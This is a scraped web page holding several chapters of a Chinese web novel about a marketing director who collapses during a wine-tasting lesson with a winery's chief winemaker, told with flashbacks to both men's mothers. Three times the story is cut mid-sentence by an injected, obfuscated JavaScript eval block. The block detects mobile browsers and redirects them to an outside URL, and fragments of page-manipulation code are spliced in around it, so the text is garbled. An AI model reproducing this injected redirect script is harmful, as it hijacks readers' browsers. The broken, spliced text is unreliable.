“尊重,从来都应该是相互的。”杭帆一字一顿地说道,“我为自己刚才的冒失发言的道歉,但我不接受你对我的工作是‘睁眼说瞎话’的指控。” 岳一宛扬了扬眉毛。 “好吧,”片刻之后,他简单地说道,“那就暂时放下气味的部分,先进入到品尝的环节好了。” 对于方才爆发在两人之间那番矛盾,这家伙既未选择道歉,也不曾置予一词。 这可真是高高在上的骄矜派头,小杭总监暗道,一看就是从未向生活低过头的富贵人家出身。 这样想着,他心中不禁生出一丝厌烦。 或许真正发疯了的人确实是我。杭帆自嘲起来,区区一介打工牛马,竟然试图和这种连Harris都奈何不了的大少爷谈什么尊重…… 拿起面前的杯子,他狠狠地灌下了一大口酒。 接下来的一段时间,杭帆字面意义地体会到了如坐针毡的滋味。 他的胃很痛。两个小时之前的隐隐抽搐是因为没吃早饭之故,而此刻这尖刀剜肉般的疼则来自于空腹饮酒。 这可真是纯然的咎由自取啊,小杭总监颇为后悔地想着。 早知道是岳一宛的课,就吃了东西再过来,反正自己在这人心中的印象分已经不会更低了。 不知道是不是因为胃痛的缘故,渐渐地,杭帆察觉到自己身上正升起一阵冷一阵热的怪异感。 尽管不能肯定自己到底学会了多少,但这节“斯芸酒庄葡萄酒速成课”确也已经行至了尾声。 比起用“午间休息”为由来打断岳一宛,这时候杭帆的更寄希望于能够早点下课。 “最后一题,是从这几杯酒之中,指出哪一支是酒庄去年刚推出的副牌,‘兰陵琥珀’。” 岳一宛再次打乱了酒杯的顺序,“这题做完,姑且就算是你学成了。” 自打方才的口角之后,这人的语气就一直不咸不淡,仿佛是在有意拉开距离。 搞什么?至于这么讨厌我吗? 忽冷忽热的疼痛,自内向外地撕扯着杭帆的身体,令他莫名焦躁的思绪总不住地往别处涣散开去。 就连岳一宛给出几句提示,都只断断续续地飘进他的耳中。 “所以,与‘兰陵琥珀’相比,任何一个年份的‘斯芸’都会显得更轻盈一些。也是因为这种不同,使得‘兰陵琥珀’的酒液中残留有更多的糖分……” 轻盈。 略有艰难地,杭帆努力收束起注意力。 品尝起来非常“轻盈”的酒液,那到底是一种什么感觉来着? 这次的回想并没有成功。因为他很是沮丧地意识到,自己舌苔已经开始麻木了。 最后一题了。他想。再撑一会儿就行。 强自摁捺住胃部的绞痛,杭帆伸手拿起酒杯。 苦涩的味道像是刮过舌面的砂砾。 ——葡萄酒到底有什么好喝的? 自言自语的声音在杭帆的脑子里大声说道。 ——今天加起来喝了是不是有七大杯了?岳一宛这家伙绝对是虐待狂吧? 握着触控笔的手有些颤抖,杭帆坚决地无视了它,把刚刚品尝过的那杯酒从选项里勾掉。 ——本来还被他那种好看的脸迷惑了来着。 这个声音自顾自地在杭帆的脑子里蹦跶。 ——幸好啊,没有真的一见钟情,毕竟职场恋爱是自寻死路嘛。 求求你闭嘴吧。杭帆感觉自己的头正痛得像是被斧头劈开一样。 ——恋爱恋爱,恋什么爱,真是爱不了这B人一点。 选C,还是选E?杭帆试图用做题来转移忽略身体上的疼痛,顺便驱散脑子里那个满口胡言的声音。 几乎是机械式地,他在两杯酒中反复来回品尝。 酸里微甜的,是葡萄果汁的味道。涩得发干的,是葡萄皮里浸泡出的单宁。 然而,在这两种鲜明的感官之外,其中的某一杯里好像又有一种奇妙的味道。像是一颗圆润有重量的玻璃弹珠,随着酒液的流淌,在舌头上快乐地滚动着。 应该如何用“标准的”语言来描述这种感觉?它好像是,它应该就是—— ——你是希望通过完美地解出每一道“题目”,来让岳一宛高看你一眼,从而认为你和其他“搞营销的人”不一样吗? 那个声音毫无顾忌地在心里发问。 ——你知道的吧?不管岳一宛是怎么看待你的,你们都没可能的呀。因为你…… 住口。杭帆不耐烦地呵斥了自己一句。闭嘴吧。 “杭帆,”岳一宛突然又开口了,“你是不是——” 首席酿酒师的语气似乎和先前很不一样,可杭帆再没有余力去分辨这其中的细微不同。 猛然间,他的世界被拉掉了电闸。 天旋地转之中,杭帆只觉眼前一暗,身体猝然倒向了地面。 4. 前尘梦 黑暗是一条通往无垠与未知的漫长走廊。 在这片昏沉的黯色中,他摸索着向前走去。 此地的空气凝滞,有淡淡的消毒水气味。 在某个离他很近但又看不见摸不着的地方,负重的滚轮正吱呀吱呀地碾过地面。 恍惚间,似乎有什么人在叫他的名字。 “杭帆!杭帆,你能听见我说话吗?杭帆——” 「杭帆。」 那是一把饱含着动人微笑的年轻嗓音。 如此的亲切,又如此温柔,令他怀念,又令他痛苦。 「杭帆,小宝!」 漆黑走廊的尽头,有一抹微光亮起。 暖白色光晕里,熟悉的身影渐渐浮现。 「妈妈已经办完手续啦。」 杭艳玲蹲下身来,语笑嫣嫣地冲他张开双臂:「我们小宝终于要出院回家啰!」 她穿一件红白条纹的连衣裙,花朵形状的水钻发卡在鬓边闪闪发光。 「我们回家做糖粥吃,好不好?多放点糖桂花和红枣在里面,好不好?」 仍然有些懵懂地,他被妈妈抱了起来。尽管动作有些吃力,但她转身往医院门外走去的脚步却十分轻快。 「马上就要到小宝的五岁生日了,」杭艳玲的语气里满是幸福的甜蜜,「刚好爸爸也要回来,我们一起去订个奶油蛋糕吧!要两层的,摆满水果的那种!」 她的头发卷曲而蓬松,像一段起伏的波浪,将小小的杭帆掩埋在其中。 她身上有一种好闻且令人安心的香气,像是白猫牌洗衣粉与郁美净面霜的余香。 只是眨了下眼睛的功夫,太阳就已斜坠下去,天边烧起了火红色的霞光。 杭艳玲跪在门边的水泥地上,一手紧紧拽着行李箱的拉杆,一手死死揪着那个男人的裤腿。 「你不要走,求求你,你不要走好不好?」 她的嗓子已经哭哑了,泪水在脸上冲出几道斑驳的粉痕。 动弹不得地,小杭帆站在楼梯口的拐角。 他捏紧了书包的背带,两腿打颤,不敢往自己的家门口迈近一步。 他畏惧于那男人粗暴的动作,更畏惧于妈妈那破碎般绝望的哀哭。 「哎哟,你放手,你放手哇!」 那男人四下里慌张地打量一圈,冷不丁抬脚踹开了她的胳膊,又急急忙忙地劈手夺过行李箱。「咱们结束了,拗断了,各归各!」 眼见附近无人,他立刻又神气活现起来。 往地上用力啐了一口,那男人把头发往后一抹,又扭过脸来骂骂咧咧道:「杭艳玲,你他妈不要脸,我还要脸呢!要是‘好聚好散’这话你听不懂,再这样闹下去,可有你吃不了兜着走的!」 「你别走!」 杭艳玲的腿已经跪麻了。她爬不起来,只能跌撞着膝行几步,重又抓住了男人的衣摆:「你走了,小宝怎么办?」 她哭得几乎呛住,可说起话来仍旧是又急又快:「他才八岁啊!你是他爹,你难道就不养他了吗?!」 嗤笑一声,那男人扬手甩下一个响亮的耳光。 「谁知道你有没有和其他男人困告!」 他提起行李箱,头也不回地丢下了最后一句话:「我儿子?放屁!我老婆生的才是我儿子!」 意识到自己被生父抛弃了的杭帆,猛然扔下了书包,泪流满面地跑向他正挣扎着站起来的妈妈。 杭艳玲紧紧地抱住了他,像是在水中挣扎的人抱住一根救命的稻草。 她抱得是那样用力,以至于小杭帆的肩胛骨都痛得像是要碎掉。 可是他一声都不敢吭。 「贱人,烂人!」 他听见妈妈哭着诅咒那个昂首阔步地离去的男人。 「你会有报应的,你会下地狱的!我恨你,我恨你!」 杭帆也跟着大声嚎哭起来。 「妈妈不要哭,妈妈别哭。」 明明自己也哭得眼前一阵阵发黑,小小的杭帆却仍旧努力地拍着杭艳玲的后背。 「我不走,我留下来陪你。我不走,妈妈别哭了,妈妈……」 眼前画面一晃,杭帆发现自己正在餐桌前写作业。 左手边是高中二年级的各科教材,右手边手边则叠着厚厚的一摞补习班试卷。 就着台灯的光,杭艳玲坐在餐桌的另一头织毛线衣。 「你要好好学,听到没有?」 她手里拈着两根竹针,带动橘红色的羊绒线上下翻飞。 看也不看他一眼,杭艳玲只专注地盯着手里的毛线衣——这是客人订的衣服,花色和大小都出不得一点差错——口中的字字句句却都是对杭帆说的。 「不要学那些人的样,十六七岁了,老大不小了,还天天净只想着玩。脑子拎不清爽,真是么五么六。」 她说,「不然你想想,你妈妈累死累活,上班回来还要替人织毛衣,这都是为了谁?」 杭帆一声不响。 手里的笔没水了,他利落地从笔袋里摸出一支新笔。 信奉“高中三年,争分夺秒”的杭艳玲,认为更换笔芯的动作会浪费做题时间,所以家中总有十几盒签字笔给他常备着。 「要不是为了养你喔,我两手一摊,早自个儿逍遥快活去了。」 她的毛线织得又快又密,像是一道道紧箍咒,层层叠叠地捆在杭帆的脖子上。 「好好学,要争气,知不知道?」 她自顾自地念叨,「你爹的另一个儿子,前年高考,成绩真是一塌糊涂。」 尽管杭艳玲掩饰得很好,但杭帆依然听得出来,在她故作平静的语气下所隐藏着的得意与轻蔑:「要不是你爹到处找人托关系,哎唷,就那小子的成绩,连个民办大学都上不了呢。」 她织完一只袖筒,喘了口气,起身给杭帆倒了满满一杯牛奶。 满怀期望地,她说:「往后你考上了好大学,给你爹知道,他心里也喜欢不是?」 「他不是我爹。」杭帆说。 他在做数学试卷,头也不抬,每一个字却都像是从后牙槽里咬出来那样用力。 铛得一声,杭艳玲把装着牛奶的杯子狠狠砸在了他面前。 「你别跟我犟。」 每次说到这个话题,她的声音就开始发抖:「你是他的儿子,你总得认祖归宗的。难道妈妈还能害你不成?」 「你好好学,好好考,好不好?」 她的语气简直近乎于哀求:「你得让他看看,我杭艳玲的儿子,不比他老婆生的儿子差。」 「妈妈只有你了,小宝。我只有你了。」 杭帆用力地闭上眼睛。 再次睁开眼的时候,他坐在桂林的竹筏上,正要收起相机。 那是春水初暖的时节,刚以独立广告人身份做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438190|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完一个大项目的杭帆,在休假时接到了罗彻斯特集团的猎头电话。 紧随其后的,是杭艳玲拨来的微信视频。 廿余载风霜刀剑,终究还是在她美丽的面庞上刻下了浅淡痕迹。 但在视讯电话里,她竟如同十几岁的怀春少女一般,羞怯笑靥里满是欲说还休的喜悦。 「小宝啊,」她久违地化上了妆,嘴唇上的口红也是当下时新的颜色,语气更是甜蜜得让人心头起疑:「这几天是不是还在放假呀?那你好不好回家里来一趟喔?」 此时,距离春节假期还没过去不久。 前一个项目结束,杭帆分到一大笔奖金,高高兴兴地带着妈妈一起去了趟马尔代夫。 眼下他离家尚不足半月,突然这样急匆匆地要他喊回家去…… 杭帆心下一沉,突然有了极其不好的预感。 隔着一段迢迢山水,杭艳玲并没能即时体察到儿子的心情,她说:「你爸爸的——」别扭地停顿了一下,她这才继续道:「他的夫人,上年年底的时候死了,你还记得吧?」 她的语气里有一种轻飘的快乐,像是被囚禁多年的鸟儿,终于要展翅高飞一般。 「他前几天老跟我说呢,说他年轻的时候糊涂,这些年让咱们母子受苦了。」 满怀憧憬地,杭艳玲对他嫣然一笑:「小宝,你爸爸说想要见你呢!要不,你这两天抽个空,回来里来一趟,好不好?咱们一家人一起,坐下吃个饭,好好聚一聚……」 站在竹筏上的杭帆,只感觉眼前一片昏沉沉的天旋地转。 他想要呕吐,想要尖叫,想要大喊,想要把手机恶狠狠地扔进漓江中去。 妈妈。 他痛苦地弯下腰去,捂住了嘴。 妈妈。 我是为了想要成为一个争气的、能够让你骄傲、能够为你遮蔽风雨的人,才拼尽全力地努力到今天的。 再一次地,胃抽搐着绞痛起来。 千百片锋利的刀刃刮擦着他的胃壁,使他几乎无法顺畅地呼吸。 妈妈。 或许你并不能明白,比起朝九晚五的坐班岗位,独立广告人的工作模式才更让我感到快乐。 可是,为了能够给你更稳定的生活,为了能让你不要再为我操心,我刚刚选择了放弃这一切,接下了来自罗彻斯特集团的offer。 妈妈。 我害怕自己是同性恋的事实会让你伤心,我害怕你会因为我喜欢男人而自责。 所以我不敢告诉你,更不敢真正地开始一段恋爱。 身为杭艳玲的孩子,做出这样的抉择,杭帆从未感到过后悔。 因为他深知,在这个世界上,自己是她仅剩的依靠与希望。 可是,妈妈。 为什么,在被抛弃了那么多年之后,在我拼劲一切地去努力了之后,你却仍然要选择那个让我们痛苦了这么多年的男人? 愤怒与失望,如燎原火焰般在杭帆的皮肤底下静默地燃烧着。 而他却感到自己疲惫、渺小且无力。 无论怎样竭尽全力地伸出双手,似乎都已经无法再阻止自己这颗饱饮了苦水的心,如失控的无人机般极速地坠毁向地面。 然后,他听见一个熟悉的声音在呼唤。 “杭帆?” 那丝绒般华美的嗓音,像是一双坚定有力的手,轻柔地将他自魇梦中捞起。 5. 胡萝卜复合果蔬汁 岳一宛静静地看着病床上的人。 急诊室的枕褥单薄而煞白,尚在昏睡的杭帆身陷其中,看起来年轻得近乎于引人令人哀怜。 他阖着眼睛,长而直的睫毛拢并在一起,像蝴蝶停立在静谧的春光里。而那截吊着点滴的手腕正露在被单外,雪洗般干净与清峻,好似羊脂白玉里琢出的一支病梅。 真奇怪,岳一宛心想。 姿容美丽的人往往过分倚重自己的外貌,就像暴发户总以为金钱能为万事万物开路。 可杭帆这人,分明有一张老天赏饭的好皮相,却像是丝毫没有想到过要利用这个优势。 初次见面,这人正龇牙咧嘴地抓着栅栏抽风,端正的五官纠拧成团,活像是一张猫吃柠檬的搞笑表情包。岳一宛乐不可支,站在一旁观察了整整三分钟,才开口替人解围。 一旦敛去了那副气急跳脚的神情,“杭总监”身上又平添回了几分端然凛冽的味道。挑剑出鞘般锋利上扬的眼尾,仿佛是对其人个性的某种昭示。 至少,在与杭帆握手的那一霎那,岳一宛确实有过期待:酒庄的生活漫长而枯燥,他十分期待自己的新同事会是位性格有趣且棱角锋利的人。 孰料,杭帆甫一开口,俨然就是岳一宛最厌烦的那种类型。 且不说那四平八稳的社交辞令听得人耳朵生茧,就连他提出的营销方案,都是直播带货一类低级玩意…… 天,这可真是珍珠秒变死鱼眼。斯芸的首席酿酒师大摇其头,在心中毫不留情地给“杭帆”二字上打了个叉。 可是,坐在杭帆的病床边,岳一宛不由地小小反省了一下:这个人,当真如同自己所想象的那样肤浅吗? “品酒这种事情,很多人就算闻不出来,喝不明白,也会胡言乱语地敷衍应和上几句。” 单手托着下巴,岳一宛百无聊赖地凝视着杭帆的睡颜:“哪有第一次学品酒,就要硬喝到‘全对’不可的……” ——这家伙,不会是个大傻子吧? 岳一宛正在心里暗自叨咕,床上的人却突然挣动两下,喉咙里发出受伤小兽般呜咽的呻吟。 “杭帆?” 几乎是条件反射地,他从床边的椅子上跳了起来,用纸巾拂去病人额上急剧渗出的冷汗,“杭帆,杭帆!你醒了吗?你醒醒!医生、医生——” 正要伸手去摁床头的紧急呼唤铃,床上的那人却终于猛然睁开了眼睛。 “你好吵……” 杭帆挤出了第一句话。 “有水吗?” 他的嗓音沙哑,语调也疲软,神智却显然已归于清晰。 这让岳一宛不由大大松了口气。 岳一宛拿起床头的果汁,拧开盖子,递进了病号手中。 “医生让你醒来后先喝点果汁。” 他的语气里有几分自己都没察觉到的嗔怪:“空腹喝酒引起的酒精性低血糖。你没吃早饭,怎么也不跟我说?” 杭帆可顾不上搭理这人。他渴得喉头冒烟,像是一头在沙漠中迷路了四个月的倒霉骆驼,抓起瓶子就仰头往嘴里灌。 直到喝光了一整瓶果汁,杭帆才终于感到稍稍缓过了气。 彻底回魂之后,果汁的余味渐渐涌上口腔。 小杭总监微微皱起了眉毛,“……这是什么东西?” 半是惊恐半是嫌弃地,他举起了手中的塑料瓶,后知后觉地试图分辨标签上的字样:“我靠,这味道也太怪了!” “会吗?” 罪魁祸首满眼都是矫揉做作的无辜:“我觉得还挺好喝的呀?毕竟是复合胡萝卜汁,百分百果蔬鲜榨,很有营养哦。” “胡萝卜?”杭帆靠在床头,狠狠咬牙,“狗都不吃的玩意儿,你竟然拿来给病患喝……” 他的表情比生吞黄连还苦涩,让岳一宛笑得肩膀都在抖。 “医院里的便利店里就只剩这个了,你凑合着喝吧。”岳一宛尽力摆出他最真诚的语气:“胡萝卜和苹果嘛,味道也不会差到哪里去。” 杭帆撇了下嘴,每一根轻微晃动的头发丝儿都在无声呐喊着他的不赞同。 “竟然会觉得胡萝卜汁好喝。”他悄声嘀咕,“斯芸的首席酿酒师怕不是没有味觉吧?算了,我看这家公司真的是要完蛋……” “你说谁没有味觉?” 笑眯眯地把脸怼到病患的面前,岳一宛十分麻利地又拧开了一瓶胡萝卜汁。 “来,多喝点,”这人的微笑标准得可以充当变态杀人狂电影的海报:“医生说你要多补充点糖分和维生素,别客气。” 在这场恶性职场霸凌即将发生的前一秒,护士姐姐推门而入。 “醒了啊?” 她看了眼还剩一丁点儿的葡萄糖水吊瓶,又看了看病床上正把三拳四掌拧成一团的二人,忍俊不禁道:“哟,你还亲自动手喂他喝水呢?感情真好。” 松开了那双钳制着“受害人”胳膊的魔爪,岳一宛风度翩翩地站起身来向她点头致意。 “份内之事,应该的。” 川剧演员都没他变脸的速度快! 杭帆被这厮气得两眼发花(也可能是饿的),深深地明白了一个再浅显不过的事实:岳一宛,属实是一位被酿酒事业耽误了的影帝。 此刻,这厮笑容温文,举止优雅,衬着那一身西装马甲勾勒出的流畅肩腰线条,很是有几分人模狗样的绅士气质。 他一边为护士移开床边那只挡路的椅子,一边柔声发问:“您好,我想请问一下,医院的食堂在哪里?听医生说,他这样的状况,今天最好还是喝点粥,所以我想去食堂就近买一份。” 护士俯身下来查看杭帆的状况,闻言笑着颔首,对岳一宛说:“确实,喝粥血糖升得快。喏,食堂在隔壁楼栋。” 岳一宛连声道谢,缓步走向门口时,又噙笑回头向杭帆看了一眼,表情邪恶得如同犯罪预告:“那我暂时离开一下,杭帆就暂时麻烦您照看一下了。” 且观这人的眼色,分明就是没安好心! 小杭总监不由心头大惊。 这厮不会没品到连一句“你没有味觉“的玩笑话都要报复到底吧?他颇感惊悚地想,难道这次是要拿一盆满是胡萝卜的盖浇饭回来? 这听起来真的很像是岳一宛会做出来的事啊! “打扰一下,”出于对胡萝卜与生俱来的深刻恐惧,杭帆有些急切地问向护士:“请问,我大概什么时候能出院?” 正在给他新插上一袋的点滴护士笑道:“挂完这瓶,再观察半小时,就结束了。” 扫描完病患手上的姓名腕带,她抬起头来,见面前的年轻人神色低郁,有意又和缓了口吻道:“是有很重要的工作要做?那也不能急这一时呀。” “虽然都说是小毛病,但低血糖也是真的会死人的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438191|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她语气真挚,嗓音轻柔,与年轻时的杭艳玲很有几分肖似。 “再说了,你一个人出门在外工作,家里爸妈也一定很记挂着你呀。要是有个什么三长两短,做妈妈的可要怎么办呢?” 想到远在家乡的杭艳玲,杭帆心头蓦得一软,又陡然从中翻搅出了无限的酸。 他垂下眼睛,重重点了点头,“嗯。”他说,“好。” 一刻多钟后,岳一宛回到急诊室的输液病房。 夕阳低垂,酡醉的天际泼洒出金红的辉光,群鸟也在暮色掩护下啁啾振翅着回巢。 杭帆正坐在病床上,侧脸望向窗外出神。熔金的一线霞光,暧昧地吻过发梢与鼻尖,沿着下颌与喉结坠落,在这具略显清瘦的身形上勾描出一层鎏金的晕色。 黄昏静谧,万物悄寂如谜,而沉默敲打着岳一宛的心跳。 恍惚间,他疑似自己听见了孤独的回声。 “……你回来了?” 似乎是察觉到了来人的脚步,在岳一宛在开口之前,杭帆就已转过身来。 “谢谢你送我来医院,”他客气地说道,“不好意思啊,今天还是工作日,给你添麻烦了。” 随着理性的回笼,方才那些因着胡萝卜果汁而起的生动神情,都被杭总监再度折叠起来,隐藏进了这副淡然而疏离的外表下。 “我输液可能还要好一会儿,你就先回去吧?今天实在是有劳你了,等回了酒庄,我再请你吃饭道谢。” 这句谢客令委婉又得体,实也不能挑出什么错处。 料想寻常同事关系,把人送到医院就已经算是仁至义尽。听了这话,多半已在心中暗暗松了口气,再笑着拍一拍杭帆的肩,让他好好休息好好吃饭,最多叮嘱两句工作别太拼命,就可以转身回到自己的日常生活中去。 可岳一宛呢?他对此不做任何回应,只是笑眯眯地举步走上前来,将手里的两个饭盒放到了杭帆面前。 “皮蛋瘦肉粥,和南瓜小米粥,你选哪一个?” 他弯起了眼睛,语调轻柔得让人脊背发毛:“如果杭总监都不喜欢的话,我觉得食堂的胡萝卜馅儿包子也不错,再配一盘胡萝卜炒肉丝,一定让人食指大动。” 这厮根本就是披着人皮的恶魔啊!!杭帆在心中发出了惨叫。 眼疾手快地摁住了其中一只饭盒的盖子,小杭总监坚定点头:“南瓜粥,南瓜粥就好。” 若有所思地哦了一声,岳一宛拿过了另一碗粥:“原来杭总监喜欢甜口的。” 他一边掀开饭盒的盖子,一边慢悠悠地道:“其实医院食堂里还有一种甜羹,是在酒酿蛋花汤里加入了切碎的胡萝卜丁……” 大脑不受控制地想象了一下那个味道,害得杭帆连打几个哆嗦,差点把一整勺的粥都给泼出去。 看样子我还得该谢谢你,良心未泯放我一马? 小杭总监默默在心底哼了一声,低头把清甜的南瓜粥送进口中。 杭帆实在是饿得狠了。满满一大碗粥,他三下五除二就喝得见了底,又喝了小半瓶水,这才慢慢生出了惬意的饱足感。好似一条腾在空中的饿死鬼,飘飘忽忽地降落回到了温软的躯壳里。 “杭帆。” 刚放下塑料勺,他就听岳一宛在叫自己。 “抱歉。”以一种前所未有的郑重语气,斯芸的首席酿酒师说:“让你晕倒,是我的错。” 6. Ines “没没没……”杭帆一愣,赶紧摆手。 原以为,骄矜高傲如岳一宛,哪怕是捅破了天,也自有一番强词夺理的诡辩。眼下却意料之外地收到了对方道歉,小杭总监顿生几分措手不及的紧张:“这个,我酒量不好……早上又偷懒没吃饭,纯属是我的自己问题。” 果然,岳一宛压根儿就不知道“客气”二字怎么写。替他开脱不过是出于杭帆的好意,此人倒竟还煞有介事地点起了头。 “确实,”他犀利点评道:“你的生活作息实在太差了,这点我很认同。” 早该知道,这厮根本就不会真心实意地为任何事而感到抱歉! 杭帆被他气得脑壳痛,张开嘴就想狠狠反呛几声。 只是话音还没抖落出来,被社畜生涯驯化了的嘴却已重又默默地闭上。 算了,算了,小杭总监对自己说道,人不能与狗一般见识。 看在是这人送自己来医院的份上,就姑且还是让让他吧。 “但事情一码归一码。” 岳一宛说,“之前没有告诉过你,品鉴红酒,并不需要要把酒液全部都喝掉不可,这是我的错。” “先前我以为,”言至此处,这人似乎有些想笑,“你把杯子里的酒全都喝了,是因为对自己的酒量很有信心,没想到……” 短暂地,他停顿了一刹,但很快就又肃正了神色。 “可是无论如何,身为你的品酒课老师,没能在事前及时告知,这都是不应该犯的错误。” 两手交叠在膝头,首席酿酒师端端正正地向杭帆略一俯身。 “对不起,”他的神情十分严肃,“因为我的失误,最后酿成了这样的结果,我很抱歉。” 半晌之后,杭帆听见自己短促地叹了口气,有似一个潦草的句号。 “没事的,”他说,“也怪我,因为一时逞强,所以……” ——所以什么呢? 内心里,他听见那声迷惘的自问。 ——勉强自己,是因为不想被他人看轻。可是那又如何? ——不被岳一宛看轻,那又怎么样?又能改变什么? 嘴唇轻微地动了两下,杭帆似乎想要再说点什么,却到底没能及时地发出声音。 “所以。” 轻轻衔起了他的未尽之词,岳一宛问:“我们能不能重新再来一次?” 杭帆的思维小齿轮骤然卡住了壳。 “……什么?” “葡萄酒课。” 岳一宛出人意料地很有耐心,他重又复述了一遍:“我们可以从头开始,从最基础和最简单的部分开始。” 首席酿酒师的语气饱含真诚。 有那么一瞬,杭帆简直要以为,低血糖是真的给自己的大脑造成了重大损伤——否则,他怎么会觉得,矜傲到近乎于目下无尘的岳一宛,会有这种小心翼翼的、像是沙坑边的害羞孩子终于开口请求和友伴交换玩具似的语气呢? 没有得到杭帆的回复,岳一宛的声音又绷紧了一些。 “你或许会认为,”他语速放慢了许多,明显是在斟酌自己的措辞,“今天下午的那些……‘课题’,是我有意在刁难你。” 有如被微风扰乱的水面那样,一丝微妙的不忿,轻涟般地掠过酿酒师的面庞。 杭帆大胆猜测,恐怕自己并不是第一个对岳一宛的“教学”做如是揣想的人。 “但其实我并没有这样的意思。” 岳一宛说。 他的声调实在是过于平静了,像是被人工抹平的、光洁如镜的冰面。 “诚然,世界上有各种各样不同的葡萄酒教学方式。但我已然倾向于用‘盲品’来作为品酒的入门级教学,是因为……小的时候,我妈妈也是用这种方式来教我的。” 他说,“我一直以为,这是最有趣,也最容易入门的方法。” 杭帆轻轻“啊”了一声。 “你妈妈,”这个熟悉的称呼令他心中一软,不自觉地放轻了语调,“她也是一位酿酒师?” “是的。” 斯芸的首席酿酒师说。 黯淡的暮光如一张褪去色彩的巨幕,自岳一宛的肩头渐渐沉落。 夕阳斜晖淡淡地抹在他的脸上,摹出一层似有还无的朦胧感伤。 “她是阿根廷人,出身于门多萨省的一家小酒庄。”他看向杭帆,“你有没有听说过过‘门多萨’这个地方?” 杭帆摇了摇头。 岳一宛微微折起了嘴角,“那么这就是你需要记住的知识点了,杭总监。门多萨是阿根廷葡萄酒最重要的产区。” 任何一个不认识Ines的人,只要见到过岳一宛,就一定会知道:身为岳一宛的母亲Ines,毫无疑问地是一位大美人。 而这个故事的最早开头则要追溯到1987年。 那年Ines刚满18岁,父亲安排她哥哥接手了家族的酒庄生意,却对她说:如果你也想给家里做点贡献的话,就赶紧嫁给当地那位年轻有为的葡萄酒经销商吧! 与父亲大吵一架的Ines,最终在一位远房姨婆的资助下前往美国留学——她学的是葡萄酒酿造专业,因为老姨婆对她说,你为什么总想着要继承家里的那个破酒庄?姑娘,你完全可以拥有属于自己的酒庄! 六年之后,怀着身孕的Ines与她的中国丈夫一起,远渡重洋,来到了这片古老的国土。 岳一宛出生的那一天,她与丈夫的葡萄酒酿造车间才刚刚建成。 「让我们来玩个游戏!」 从厨房走出来的Ines大声宣布道。 她刚从车间回来不久,防水围裙与橡胶靴子都还没来得及脱掉。但比起这些,她显然是觉得手里那只放有三个玻璃杯的托盘更加重要。 「猜猜看,哪一杯是梅洛葡萄的果汁?」 个头还不到餐桌高的小男孩,兴奋地从积木堆前站起身来,手脚并用地爬上桌边的椅子。 「妈妈!这次猜对了的话,可以奖励我一只拓麻歌子吗?」 他一边问,一边向着托盘伸出手去,毫不客气地把三杯葡萄汁都扒拉到了自己跟前,「就是艾蜜上次带来家里玩的那个!」 「怎么又要买新玩具呀!」Ines双手叉腰,指向地上的那堆积木:「你的积木才买来不到三天吧?」 小男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438192|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩儿嘟起了嘴,「可是艾蜜就有嘛……她都有三只拓麻歌子了!」 年轻的母亲噗嗤笑出声来,满怀怜爱地弹了弹儿子的脑袋瓜:「怎么艾蜜有的你就也都要有?艾蜜穿裙子,你难道也要跟她一起穿裙子?」 「行吧,」她最终豪爽地拍板道,「如果你一次就能猜中梅洛葡萄的那一杯,我就给你——Iván!!!不要把手指伸进葡萄汁里!!好脏啊!!」 「Iván!」 酿造车间的大门敞着,穿着工作服的Ines从门口探出头,「放学啦?怎么不和同学们一起玩?我上次路过你们学校,看到好多男孩子都在操场上打篮球呢!」 被妈妈叫住的岳一宛,在听到这个问话之后,略显不自在地动了动肩膀。 旋即,他发出了一声懒洋洋的哼笑。 「同学?」他满腹不屑,尖锐得像是一把削铅笔用的锋利小刀:「他们都是笨蛋,白痴,蠢材与傻瓜。我才不要和他们一块玩儿呢!」 Ines偏过头来看着他。她那柔软悠长的目光,总是如同一道温煦的微风,在少年嶙峋如山岩沟壑的心室里回荡。 「哎,Iván。」 做母亲的似乎总是能看透关于孩子的一切,却常常也只是微笑着摇一摇头。 「来吧,去酒窖。」她从酿造车间走出来,一把拽起了他的胳膊:「让我们来玩个游戏。」 「三个杯子,三支酒。」 像是驱赶着一条顽皮的小狗似的,Ines连声催促着岳一宛背过身去。 等他再度面向妈妈的时候,矮桌上已经摆出了三只高脚大肚的玻璃杯。 「找出它们中的哪一支来自气候更冷的产区,并说出产区的名字。」她用眼睛闪闪发光的眼睛看向自己的儿子:「来吧!来试试看!记得别都喝下去,尝完味道就吐进废液瓶里哦!」 岳一宛意兴阑珊地拈起酒杯,咕咚一声就把杯中物给喝了个精光。 「我看不出这有什么意义。」 他抹了下嘴,突然抬头说道:「就算能练出让顶级酒评家都自愧弗如的舌头,那又怎么样?」 「这里是中国,妈妈!」原是想潦草地摆一下手的岳一宛,不知为何,却突然奋力地挥动起了双臂:「这里根本没有人懂什么葡萄酒!」 